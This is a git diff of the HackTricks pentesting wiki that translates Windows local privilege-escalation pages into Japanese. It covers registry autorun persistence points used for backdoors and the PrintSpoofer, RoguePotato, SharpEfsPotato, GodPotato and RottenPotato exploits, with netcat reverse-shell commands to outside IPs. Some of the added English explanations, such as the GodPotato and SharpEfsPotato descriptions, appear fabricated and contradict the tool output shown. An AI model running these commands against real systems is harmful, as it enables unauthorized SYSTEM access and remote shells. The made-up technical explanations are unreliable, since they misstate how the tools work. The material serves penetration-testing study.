-Name "Common Startup" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' -Name "Common Startup" ``` - -### Winlogon Keys +### Winlogonキー `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` -Usually, **Userinit** key points to userinit.exe but if this key can be altered, then that exe will also launch by Winlogon.\ -**Shell** key should point to explorer.exe. - +通常、**Userinit**キーはuserinit.exeを指し示しますが、このキーを変更できる場合、そのexeもWinlogonによって起動されます。\ +**Shell**キーはexplorer.exeを指し示すべきです。 ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Userinit" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell" ``` - {% hint style="info" %} -If you can overwrite the registry value or the binary you will be able to escalate privileges. +レジストリの値またはバイナリを上書きすることができれば、特権を昇格させることができます。 {% endhint %} -### Policy Settings +### ポリシー設定 * `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` * `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` -Check **Run** key. - +**Run** キーを確認してください。 ```bash reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run" reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "Run" Get-ItemProperty -Path 'Registry::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run" Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' -Name "Run" ``` - ### AlternateShell -Path: **`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`** +パス: **`HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot`** -Under the registry key `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` is the value **AlternateShell**, which by default is set to `cmd.exe` (the command prompt). When you press F8 during startup and select "Safe Mode with Command Prompt," the system uses this alternate shell.\ -You can, however, create a boot option so that you don't have to press F8, then select "Safe Mode with Command Prompt." +レジストリキー `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot` の下には、デフォルトで **AlternateShell** という値があります。この値は、通常 `cmd.exe`(コマンドプロンプト)に設定されています。起動時にF8キーを押して「コマンドプロンプト付きのセーフモード」を選択すると、システムはこの代替シェルを使用します。\ +ただし、F8キーを押さずに「コマンドプロンプト付きのセーフモード」を選択できるように、ブートオプションを作成することもできます。 -1. Edit the boot.ini (c:\boot.ini) file attributes to make the file nonread-only, nonsystem, and nonhidden (attrib c:\boot.ini -r -s -h). -2. Open boot.ini. -3. Add a line similar to the following: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)` -4. Save the file. -5. Reapply the correct permissions (attrib c:\boot.ini +r +s +h). +1. boot.ini(c:\boot.ini)ファイルの属性を編集して、ファイルを読み取り専用、システム、非表示にしないようにします(attrib c:\boot.ini -r -s -h)。 +2. boot.iniを開きます。 +3. 以下のような行を追加します: `multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /SAFEBOOT:MINIMAL(ALTERNATESHELL)` +4. ファイルを保存します。 +5. 正しい権限を再適用します(attrib c:\boot.ini +r +s +h)。 -Info from [here](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell). +情報は[こちら](https://www.itprotoday.com/cloud-computing/how-can-i-add-boot-option-starts-alternate-shell)から入手しました。 {% hint style="info" %} -**Exploit 1:** If you can modify this registry key you can point your backdoor +**Exploit 1:** このレジストリキーを変更できれば、バックドアを指定することができます。 {% endhint %} {% hint style="info" %} -**Exploit 2 (PATH write permissions)**: If you have write permission on any folder of the system **PATH** before _C:\Windows\system32_ (or if you can change it) you can create a cmd.exe file and if someone initiates the machine in Safe Mode your backdoor will be executed. +**Exploit 2 (PATHの書き込み権限)**: システムのPATH内の_C:\Windows\system32_ より前の任意のフォルダに書き込み権限がある場合(または変更できる場合)、cmd.exeファイルを作成し、セーフモードでマシンを起動するとバックドアが実行されます。 {% endhint %} {% hint style="info" %} -**Exploit 3 (PATH write permissions and boot.ini write permissions)**: If you can write boot.ini, you can automate the startup in safe mode for the next reboot. +**Exploit 3 (PATHの書き込み権限とboot.iniの書き込み権限)**: boot.iniを書き込むことができれば、次回の再起動時に自動的にセーフモードで起動できます。 {% endhint %} - ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /v AlternateShell Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot' -Name 'AlternateShell' ``` - -### Installed Component +### インストールされたコンポーネント * `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components` * `HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components` * `HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components` * `HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components` -Active Setup runs before the Desktop appears. Commands started by Active Setup run synchronously, blocking the logon while they are executing. Active Setup is executed before any Run or RunOnce registry entries are evaluated. +Active Setupはデスクトップが表示される前に実行されます。Active Setupによって開始されたコマンドは同期的に実行され、実行中はログオンがブロックされます。Active Setupは、RunまたはRunOnceレジストリエントリが評価される前に実行されます。 -Inside those keys you will find more keys and each for those will home some interesting key-values. The most interesting ones are: +これらのキーの中には、さらにキーがあり、それぞれに興味深いキーと値が含まれています。最も興味深いものは次のとおりです。 * **IsInstalled:** - * 0: The component’s command will not run. - * 1: The component’s command will be run once per user. This is the default (if the IsInstalled value does not exist). +* 0: コンポーネントのコマンドは実行されません。 +* 1: コンポーネントのコマンドはユーザーごとに一度だけ実行されます。これがデフォルトです(IsInstalled値が存在しない場合)。 * **StubPath** - * Format: Any valid command line, e.g. “notepad” - * This is the command that is executed if Active Setup determines this component needs to run during logon. +* 形式: 有効なコマンドライン、例: "notepad" +* これは、Active Setupがログオン時にこのコンポーネントを実行する必要があると判断した場合に実行されるコマンドです。 {% hint style="info" %} -If you could write/overwrite on any Key with _**IsInstalled == "1"**_ the key **StubPath**, you could point it to a backdoor and escalate privileges. Also, if you could overwrite any **binary** pointed by any **StubPath** key you could be able to escalate privileges. +_**IsInstalled == "1"**_ であるキー **StubPath** のいずれかに書き込み/上書きすることができれば、それをバックドアに指定して特権をエスカレーションすることができます。また、**StubPath** キーが指定する **バイナリ** を上書きすることができれば、特権をエスカレーションすることができます。 {% endhint %} - ```bash reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components" /s /v StubPath ``` - -### Browser Helper Objects +### ブラウザヘルパーオブジェクト * `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` * `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects` -A **Browser Helper Object** (**BHO**) is a DLL module designed as a plugin for Microsoft's Internet Explorer web browser to provide added functionality. These modules are executed for each new instance of Internet Explorer and for each new instance of Windows Explorer. However, a BHO can be prevented to be executed by each instance of Explorer setting the key **NoExplorer** to 1. - -BHOs are still supported as of Windows 10, through Internet Explorer 11, while BHOs are not supported in the default web browser Microsoft Edge. +**ブラウザヘルパーオブジェクト**(**BHO**)は、MicrosoftのInternet Explorerウェブブラウザのプラグインとして追加機能を提供するために設計されたDLLモジュールです。これらのモジュールは、Internet Explorerの新しいインスタンスごとおよびWindows Explorerの新しいインスタンスごとに実行されます。ただし、BHOは、キー**NoExplorer**を1に設定することで、各Explorerのインスタンスでの実行を防止することができます。 +BHOは、Windows 10のInternet Explorer 11までサポートされていますが、デフォルトのWebブラウザであるMicrosoft Edgeではサポートされていません。 ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects" /s ``` +注意:レジストリには、各DLLごとに1つの新しいレジストリが含まれており、それは**CLSID**によって表されます。CLSIDの情報は、`HKLM\SOFTWARE\Classes\CLSID\{}`で見つけることができます。 -Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{}` - -### Internet Explorer Extensions +### Internet Explorerの拡張機能 * `HKLM\Software\Microsoft\Internet Explorer\Extensions` * `HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Extensions` -Note that the registry will contain 1 new registry per each dll and it will be represented by the **CLSID**. You can find the CLSID info in `HKLM\SOFTWARE\Classes\CLSID\{}` +注意:レジストリには、各DLLごとに1つの新しいレジストリが含まれており、それは**CLSID**によって表されます。CLSIDの情報は、`HKLM\SOFTWARE\Classes\CLSID\{}`で見つけることができます。 -### Font Drivers +### フォントドライバ * `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers` * `HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers` - ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers" reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Font Drivers' Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Font Drivers' ``` - -### Open Command +### オープンコマンド * `HKLM\SOFTWARE\Classes\htmlfile\shell\open\command` * `HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command` - ```bash reg query "HKLM\SOFTWARE\Classes\htmlfile\shell\open\command" /v "" reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v "" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name "" Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name "" ``` - ### Image File Execution Options +イメージファイルの実行オプション + +Image File Execution Options(IFEO)は、Windowsのデバッグ機能を利用して、実行されるプロセスに対して特定の設定を適用するための機能です。IFEOを使用すると、特定のバイナリファイルが実行される際に、追加のデバッグプログラムやスクリプトを自動的に実行することができます。 + +この機能は、特権昇格攻撃に利用されることがあります。攻撃者は、IFEOを使用してシステム上の特定のバイナリファイルを指定し、そのバイナリが実行されるたびに攻撃者が用意したプログラムやスクリプトが実行されるように設定します。これにより、攻撃者は特権を昇格させるための悪意のあるコードを実行することができます。 + +IFEOを使用した特権昇格攻撃を防ぐためには、以下の対策を実施することが重要です。 + +- IFEOのエントリを監視し、不正な変更があった場合には検知すること。 +- 不要なIFEOエントリを削除すること。 +- IFEOエントリに対して適切なアクセス制御を設定すること。 + +これらの対策を実施することで、IFEOを悪用した特権昇格攻撃からシステムを保護することができます。 ``` HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options ``` - ## SysInternals -Note that all the sites where you can find autoruns are **already searched by**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). However, for a **more comprehensive list of auto-executed** file you could use [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)from systinternals: - +注意してください、autorunsを見つけることができるすべてのサイトは、すでにwinpeas.exeによって検索されています。ただし、より包括的な自動実行ファイルのリストが必要な場合は、systinternalsの[autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns)を使用することができます。 ``` autorunsc.exe -m -nobanner -a * -ct /accepteula ``` +## その他 -## More +[https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2)でレジストリのようなAutorunsをさらに見つけることができます。 -Find more Autoruns like registries in [https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2](https://www.microsoftpressstore.com/articles/article.aspx?p=2762082\&seqNum=2) - -## References +## 参考文献 * [https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref](https://resources.infosecinstitute.com/common-malware-persistence-mechanisms/#gref) * [https://attack.mitre.org/techniques/T1547/001/](https://attack.mitre.org/techniques/T1547/001/) @@ -353,7 +339,7 @@ Find more Autoruns like registries in [https://www.microsoftpressstore.com/artic -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合 - **採用中です!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -361,10 +347,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksであなたの会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index f88470bdf..4206108cd 100644 --- a/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -4,51 +4,64 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **hacktricksリポジトリ**と**hacktricks-cloudリポジトリ**にPRを提出して、あなたのハッキングトリックを共有してください。 {% hint style="warning" %} -**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. +**JuicyPotatoは**Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)を使用して、同じ特権を利用し、`NT AUTHORITY\SYSTEM`レベルのアクセスを取得することができます。この[ブログ記事](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)では、JuicyPotatoが動作しないWindows 10およびServer 2019ホストで、`PrintSpoofer`ツールを使用して偽装特権を悪用する方法について詳しく説明しています。 {% endhint %} -## Quick Demo +## クイックデモ ### PrintSpoofer - ```bash c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" --------------------------------------------------------------------------------- +-------------------------------------------------------------------------------- -[+] Found privilege: SeImpersonatePrivilege +[+] Found privilege: SeImpersonatePrivilege -[+] Named pipe listening... +[+] Named pipe listening... -[+] CreateProcessAsUser() OK +[+] CreateProcessAsUser() OK NULL ``` +RoguePotato is a Windows local privilege escalation technique that takes advantage of the Windows COM Server and DCOM features. It allows an attacker to escalate their privileges from a low-privileged user to SYSTEM level. -### RoguePotato +The technique involves creating a malicious COM object that triggers the execution of a specified binary with SYSTEM privileges. This can be achieved by exploiting the "Local Activation" permission of the COM object. +To perform a RoguePotato attack, the attacker needs to have the ability to create a COM object on the target system. This can be done by leveraging existing permissions or by exploiting vulnerabilities in the system. + +Once the COM object is created, the attacker can use various methods to trigger its execution, such as using the "DCOM LRPC" protocol or by exploiting specific applications that use COM objects. + +RoguePotato is a powerful technique that can bypass many security measures, including User Account Control (UAC) and AppLocker. It is important for system administrators to be aware of this technique and take appropriate measures to mitigate the risk. ```bash c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` - ### SharpEfsPotato +SharpEfsPotato is a tool that leverages the EfsRpcOpenFileRaw function to perform a Local Privilege Escalation (LPE) attack on Windows systems. This attack takes advantage of the EFS (Encrypting File System) service, which allows users to encrypt files and folders on their system. + +By exploiting a misconfiguration in the EFS service, an attacker can escalate their privileges from a low-privileged user to SYSTEM level. This can be particularly useful in scenarios where the attacker has limited access to the system but wants to gain full control. + +To use SharpEfsPotato, you need to provide the target system's IP address and the name of a writable directory on the target system. The tool will then create a malicious DLL file in the specified directory. When the EFS service tries to access this file, it will execute the DLL with SYSTEM privileges, allowing the attacker to execute arbitrary code. + +It's important to note that SharpEfsPotato requires administrative privileges to run successfully. Additionally, this attack technique has been patched in newer versions of Windows, so it may not work on fully updated systems. However, it can still be effective on older or unpatched systems. + +To mitigate the risk of this attack, it is recommended to keep your Windows systems up to date with the latest security patches and configurations. Regularly monitoring and reviewing system logs can also help detect any suspicious activity related to EFS or privilege escalation attempts. ``` SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log" SharpEfsPotato by @bugch3ck - Local privilege escalation from SeImpersonatePrivilege using EfsRpc. +Local privilege escalation from SeImpersonatePrivilege using EfsRpc. - Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0. +Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0. [+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2 df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc: @@ -61,22 +74,31 @@ df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc: C:\temp>type C:\temp\w.log nt authority\system ``` - ### GodPotato +GodPotato is a technique that combines the RoguePotato and PrintSpoofer exploits to achieve local privilege escalation on Windows systems. This technique takes advantage of the Windows Print Spooler service and its ability to load arbitrary DLL files. + +To execute the GodPotato attack, follow these steps: + +1. Download the RoguePotato and PrintSpoofer exploits from their respective sources. +2. Compile the RoguePotato exploit and generate a DLL payload. +3. Transfer the RoguePotato DLL payload to the target Windows system. +4. Execute the PrintSpoofer exploit to gain SYSTEM-level privileges. +5. Use the RoguePotato DLL payload to execute arbitrary commands with elevated privileges. + +By combining these two exploits, an attacker can escalate their privileges on a Windows system and gain full control over the target machine. It is important to note that this technique should only be used for ethical purposes, such as penetration testing or security research. ``` GodPotato -cmd "cmd /c whoami" GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/windows-local-privilege-escalation/rottenpotato.md b/windows-hardening/windows-local-privilege-escalation/rottenpotato.md index 04e920ef0..7eac90be6 100644 --- a/windows-hardening/windows-local-privilege-escalation/rottenpotato.md +++ b/windows-hardening/windows-local-privilege-escalation/rottenpotato.md @@ -4,28 +4,27 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -The info in this page info was extracted [from this post](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/) +このページの情報は、[この投稿](https://www.absolomb.com/2018-05-04-HackTheBox-Tally/)から抽出されました。 -Service accounts usually have special privileges (SeImpersonatePrivileges) and this could be used to escalate privileges. +サービスアカウントには通常、特権(SeImpersonatePrivileges)があり、これを使用して特権をエスカレーションすることができます。 [https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) -I won’t go into the details on how this exploit works, the article above explains it far better than I ever could. - -Let’s check our privileges with meterpreter: +この脆弱性がどのように機能するかの詳細については説明しませんが、上記の記事は私が説明するよりもはるかに詳しいです。 +メータープリンターで特権を確認しましょう: ``` meterpreter > getprivs @@ -41,17 +40,15 @@ SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeIncreaseWorkingSetPrivilege ``` +素晴らしい、攻撃を実行するために必要な特権を持っているようです。`rottenpotato.exe`をアップロードしましょう。 -Excellent, it looks like we have the privileges we need to perform the attack. Let’s upload `rottenpotato.exe` - -Back on our meterpreter session we load the `incognito` extension. - +メータープリターセッションに戻り、`incognito`拡張機能をロードします。 ``` meterpreter > use incognito Loading extension incognito...Success. meterpreter > list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will beavailable - Call rev2self if primary process token is SYSTEM +Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== @@ -63,16 +60,14 @@ Impersonation Tokens Available 